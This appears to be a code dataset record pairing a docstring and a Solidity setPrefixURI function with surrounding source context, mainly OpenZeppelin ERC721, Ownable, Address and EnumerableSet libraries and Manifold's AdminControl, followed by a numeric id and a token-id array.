require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./IAdminControl.sol"; abstract contract AdminControl is Ownable, IAdminControl, ERC165 { using EnumerableSet for EnumerableSet.AddressSet; // Track registered admins EnumerableSet.AddressSet private _admins; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IAdminControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Only allows approved admins to call the specified function */ modifier adminRequired() { require(owner() == msg.sender || _admins.contains(msg.sender), "AdminControl: Must be owner or admin"); _; } /** * @dev See {IAdminControl-getAdmins}. */ function getAdmins() external view override returns (address[] memory admins) { admins = new address[](_admins.length()); for (uint i = 0; i < _admins.length(); i++) { admins[i] = _admins.at(i); } return admins; } /** * @dev See {IAdminControl-approveAdmin}. */ function approveAdmin(address admin) external override onlyOwner { if (!_admins.contains(admin)) { emit AdminApproved(admin, msg.sender); _admins.add(admin); } } /** * @dev See {IAdminControl-revokeAdmin}. */ function revokeAdmin(address admin) external override onlyOwner { if (_admins.contains(admin)) { emit AdminRevoked(admin, msg.sender); _admins.remove(admin); } } /** * @dev See {IAdminControl-isAdmin}. */ function isAdmin(address admin) public override view returns (bool) { return (owner() == admin || _admins.contains(admin)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Interface for admin control */ interface IAdminControl is IERC165 { event AdminApproved(address indexed account, address indexed sender); event AdminRevoked(address indexed account, address indexed sender); /** * @dev gets address of all admins */ function getAdmins() external view returns (address[] memory); /** * @dev add an admin. Can only be called by contract owner. */ function approveAdmin(address admin) external; /** * @dev remove an admin. Can only be called by contract owner. */ function revokeAdmin(address admin) external; /** * @dev checks whether or not given address is an admin * Returns True if they are */ function isAdmin(address admin) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
* @dev Set the image base uri (prefix)/
function setPrefixURI(string calldata uri) external adminRequired { _commonURI = ''; _prefixURI = uri; }
582,267
[ 1, 694, 326, 1316, 1026, 2003, 261, 3239, 13176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
